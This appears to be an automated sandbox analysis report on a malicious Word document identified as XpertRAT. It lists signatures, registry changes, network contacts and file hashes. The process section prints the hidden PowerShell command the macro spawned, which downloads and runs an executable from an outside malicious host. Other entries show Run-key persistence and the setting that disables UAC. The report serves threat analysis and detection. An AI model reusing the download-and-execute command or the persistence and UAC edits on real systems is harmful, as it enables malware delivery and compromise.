Analysis Overview
SHA256
39f9e4df37b9d4b3e5ad5df753c9e8c3617472f3cfa778e43ddd822544455788
Threat Level: Known bad
The file PO sept2116 FRP-SHM.doc was found to be: Known bad.
Malicious Activity Summary
UAC bypass
XpertRAT
Process spawned unexpected child process
Windows security bypass
XpertRAT Core Payload
Blocklisted process makes network request
Adds policy Run key to start application
Executes dropped EXE
Downloads MZ/PE file
Loads dropped DLL
Windows security modification
Checks whether UAC is enabled
Adds Run key to start application
Suspicious use of SetThreadContext
Drops file in Windows directory
Enumerates physical storage devices
Office loads VBA resources, possible macro or embedded object present
Modifies Internet Explorer settings
Enumerates system info in registry
Checks processor information in registry
Modifies registry class
Suspicious use of WriteProcessMemory
System policy modification
Suspicious use of AdjustPrivilegeToken
NTFS ADS
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2021-09-16 15:12
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2021-09-16 15:12
Reported
2021-09-16 15:14
Platform
win7-en
Max time kernel
149s
Max time network
151s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
UAC bypass
Windows security bypass
XpertRAT
XpertRAT Core Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Adds policy Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe" | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\EXCEL.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\EXCEL.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\EXCEL.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\EXCEL.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\EXCEL.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\EXCEL.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\EXCEL.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\EXCEL.exe | N/A |
Windows security modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UACDisableNotify = "0" | C:\Users\Admin\AppData\Local\Temp\EXCEL.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe" | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe" | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
Checks whether UAC is enabled
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Users\Admin\AppData\Local\Temp\EXCEL.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 684 set thread context of 1632 | N/A | C:\Users\Admin\AppData\Roaming\EXCEL.exe | C:\Users\Admin\AppData\Local\Temp\EXCEL.exe |
| PID 1796 set thread context of 324 | N/A | C:\Users\Admin\AppData\Roaming\EXCEL.exe | C:\Users\Admin\AppData\Local\Temp\EXCEL.exe |
| PID 1632 set thread context of 2020 | N/A | C:\Users\Admin\AppData\Local\Temp\EXCEL.exe | C:\Program Files (x86)\Internet Explorer\iexplore.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Enumerates physical storage devices
Office loads VBA resources, possible macro or embedded object present
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\EXCEL.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\EXCEL.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\EXCEL.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\EXCEL.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
Suspicious use of WriteProcessMemory
System policy modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Users\Admin\AppData\Local\Temp\EXCEL.exe | N/A |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO sept2116 FRP-SHM.doc"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://esetnode32-antiviru.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
C:\Users\Admin\AppData\Roaming\EXCEL.exe
"C:\Users\Admin\AppData\Roaming\EXCEL.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://esetnode32-antiviru.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://esetnode32-antiviru.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
C:\Users\Admin\AppData\Roaming\EXCEL.exe
"C:\Users\Admin\AppData\Roaming\EXCEL.exe"
C:\Users\Admin\AppData\Roaming\EXCEL.exe
"C:\Users\Admin\AppData\Roaming\EXCEL.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA==
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA==
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA==
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
C:\Program Files (x86)\Internet Explorer\iexplore.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
C:\Windows\SysWOW64\notepad.exe
notepad.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | esetnode32-antiviru.ydns.eu | udp |
| US | 192.3.194.242:80 | esetnode32-antiviru.ydns.eu | tcp |
| US | 192.3.194.242:80 | esetnode32-antiviru.ydns.eu | tcp |
| US | 8.8.8.8:53 | pshmn.com | udp |
| US | 69.197.158.18:80 | pshmn.com | tcp |
| US | 69.197.158.18:80 | pshmn.com | tcp |
| US | 69.197.158.18:80 | pshmn.com | tcp |
| US | 8.8.8.8:53 | ping.pushmon.com | udp |
| US | 8.8.8.8:53 | ping.pushmon.com | udp |
| US | 8.8.8.8:53 | ping.pushmon.com | udp |
| US | 69.197.158.18:80 | ping.pushmon.com | tcp |
| US | 69.197.158.18:80 | ping.pushmon.com | tcp |
| US | 69.197.158.18:80 | ping.pushmon.com | tcp |
| US | 8.8.8.8:53 | kapasky-antivirus.firewall-gateway.net | udp |
| FR | 146.59.132.186:4000 | kapasky-antivirus.firewall-gateway.net | tcp |
| FR | 146.59.132.186:4000 | kapasky-antivirus.firewall-gateway.net | tcp |
| FR | 146.59.132.186:4000 | kapasky-antivirus.firewall-gateway.net | tcp |
| FR | 146.59.132.186:4000 | kapasky-antivirus.firewall-gateway.net | tcp |
Files
memory/1316-52-0x0000000072641000-0x0000000072644000-memory.dmp
memory/1316-53-0x00000000700C1000-0x00000000700C3000-memory.dmp
memory/1316-54-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1316-55-0x0000000075911000-0x0000000075913000-memory.dmp
memory/1212-56-0x0000000000000000-mapping.dmp
memory/1212-59-0x00000000023E1000-0x00000000023E2000-memory.dmp
memory/1212-58-0x00000000023E0000-0x00000000023E1000-memory.dmp
memory/1212-60-0x00000000023E2000-0x00000000023E4000-memory.dmp
memory/1212-61-0x0000000004B40000-0x0000000005191000-memory.dmp
\Users\Admin\AppData\Roaming\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
memory/684-63-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
C:\Users\Admin\AppData\Roaming\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
memory/684-66-0x0000000000210000-0x0000000000211000-memory.dmp
memory/1636-68-0x0000000000000000-mapping.dmp
memory/1904-69-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | c76ec9954800eb464c7c885dd79bd4c5 |
| SHA1 | 5668d6f08b21f614b090372be8e0e82fb4e2a020 |
| SHA256 | 71e0c865d9517d95846934eb8949a3fee2c5fbd867d165e21718ee6aefa8ebdc |
| SHA512 | fba98bc4b3df8e4022f8a5f8397c1b97a0bc34cf2ec6e5afb03a8a70e0f2c8e36adaad61cc91ffe6fe5237b97d07e93652988e4e6110b8aa4c664fd9af85f2cc |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | c76ec9954800eb464c7c885dd79bd4c5 |
| SHA1 | 5668d6f08b21f614b090372be8e0e82fb4e2a020 |
| SHA256 | 71e0c865d9517d95846934eb8949a3fee2c5fbd867d165e21718ee6aefa8ebdc |
| SHA512 | fba98bc4b3df8e4022f8a5f8397c1b97a0bc34cf2ec6e5afb03a8a70e0f2c8e36adaad61cc91ffe6fe5237b97d07e93652988e4e6110b8aa4c664fd9af85f2cc |
memory/684-74-0x0000000004C30000-0x0000000004C31000-memory.dmp
memory/1636-75-0x0000000002310000-0x0000000002F5A000-memory.dmp
memory/1636-76-0x0000000002310000-0x0000000002F5A000-memory.dmp
memory/1904-77-0x0000000002370000-0x0000000002FBA000-memory.dmp
memory/1636-78-0x0000000002310000-0x0000000002F5A000-memory.dmp
memory/1904-80-0x0000000004CA0000-0x0000000004F72000-memory.dmp
memory/1636-79-0x0000000004C40000-0x0000000004F12000-memory.dmp
C:\Users\Admin\AppData\Roaming\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
C:\Users\Admin\AppData\Roaming\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
memory/1748-82-0x0000000000000000-mapping.dmp
\Users\Admin\AppData\Roaming\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
memory/1796-84-0x0000000000000000-mapping.dmp
\Users\Admin\AppData\Roaming\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
memory/1748-91-0x0000000004720000-0x0000000004721000-memory.dmp
memory/1796-92-0x0000000004E60000-0x0000000004E61000-memory.dmp
memory/1748-93-0x0000000002290000-0x00000000022D8000-memory.dmp
memory/1612-97-0x0000000000000000-mapping.dmp
memory/296-96-0x0000000000000000-mapping.dmp
memory/1980-98-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | c76ec9954800eb464c7c885dd79bd4c5 |
| SHA1 | 5668d6f08b21f614b090372be8e0e82fb4e2a020 |
| SHA256 | 71e0c865d9517d95846934eb8949a3fee2c5fbd867d165e21718ee6aefa8ebdc |
| SHA512 | fba98bc4b3df8e4022f8a5f8397c1b97a0bc34cf2ec6e5afb03a8a70e0f2c8e36adaad61cc91ffe6fe5237b97d07e93652988e4e6110b8aa4c664fd9af85f2cc |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | c76ec9954800eb464c7c885dd79bd4c5 |
| SHA1 | 5668d6f08b21f614b090372be8e0e82fb4e2a020 |
| SHA256 | 71e0c865d9517d95846934eb8949a3fee2c5fbd867d165e21718ee6aefa8ebdc |
| SHA512 | fba98bc4b3df8e4022f8a5f8397c1b97a0bc34cf2ec6e5afb03a8a70e0f2c8e36adaad61cc91ffe6fe5237b97d07e93652988e4e6110b8aa4c664fd9af85f2cc |
memory/296-104-0x0000000002470000-0x00000000030BA000-memory.dmp
memory/1980-105-0x0000000002530000-0x000000000317A000-memory.dmp
memory/296-106-0x0000000002470000-0x00000000030BA000-memory.dmp
memory/1980-107-0x0000000002530000-0x000000000317A000-memory.dmp
memory/296-108-0x0000000002470000-0x00000000030BA000-memory.dmp
memory/1980-109-0x0000000002530000-0x000000000317A000-memory.dmp
memory/296-110-0x0000000004D50000-0x0000000005022000-memory.dmp
memory/1980-111-0x0000000004CF0000-0x0000000004FC2000-memory.dmp
memory/2016-112-0x0000000000000000-mapping.dmp
memory/2016-113-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
memory/684-115-0x00000000044A0000-0x00000000044D0000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
memory/1632-121-0x00000000004010B8-mapping.dmp
\Users\Admin\AppData\Local\Temp\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
memory/1632-120-0x0000000000400000-0x000000000042C000-memory.dmp
\Users\Admin\AppData\Local\Temp\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
\Users\Admin\AppData\Local\Temp\EXCEL.exe
| MD5 | 230811e776cb540cbc2a06fe4adaf339 |
| SHA1 | d679baca39696f690213099869bf6efc1cc8c560 |
| SHA256 | 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd |
| SHA512 | c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18 |
memory/2020-128-0x0000000000400000-0x0000000000443000-memory.dmp
memory/2020-129-0x0000000000401364-mapping.dmp
memory/2020-130-0x0000000000630000-0x0000000000783000-memory.dmp
memory/2028-133-0x0000000000000000-mapping.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2021-09-16 15:12
Reported
2021-09-16 15:14
Platform
win10v20210408
Max time kernel
149s
Max time network
146s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process | N/A | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322\Children | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
